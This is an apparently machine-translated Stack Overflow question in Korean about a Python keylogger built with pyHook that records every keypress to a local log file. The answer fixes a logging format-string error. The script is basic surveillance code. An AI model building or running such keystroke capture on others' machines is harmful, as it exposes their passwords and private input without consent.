2017-05-11 1 views
-4

나는 유튜브 튜토리얼을 따라 시작했는데, 처음에는 꽤 결함이 있었지만 찾을 수있는 최고의 것이었다. 나는 pywin32를 설치했고 pyhook을 가지고 있고 그것들은 둘 다 설치되어서 그것이 무엇이 될 수 있는지 전혀 모른다. 메시지가 str 내장 번인 -Python ValueError : incomplete format

import pyHook, pythoncom, sys, logging 

file_log = 'C:\Users\Nathan\Fun Stuff\log.txt' 

def OnKeyboardEvent(event): 
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)') 
    chr(event.Ascii) 
    logging.log(10,chr(event.Ascii)) 
    return True 

hooks_manager = pyHook.HookManager() 
hooks_manager.KeyDown = OnKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 
+1

[How to Ask] (http://stackoverflow.com/help/how-to-ask)를 참조하십시오. 우리는 당신이 얻고있는 오류를 저희에게 알려줄뿐만 아니라 당신이 문제를 해결하려고 노력했는지 알려줄 필요가 있습니다. – stybl

+0

오류는 "value error incomplete format"으로 8 행에 표시되므로 등호를 표시하고 더 이상 오류를 표시하지 않지만 여전히 제대로 작동하지 않습니다. 모든 키 누름을 log.txt에 기록하지만 로그 파일 아무 것도 뿌리지 않는다 –

답변

1

"형태"는 "STR 전환 유형"(참조 docs)을 나타내는 불완전 "%(message)s"를 읽어야 "%(message)" 상기 s을 말한다.

"$(message)s"이 기본값 인 경우이 인수를 생략하면됩니다.

+0

더 이상 형식 오류가 발생하지 않지만이 시점에서 log.txt 파일에 키 누름을 기록하지 않아야합니다. –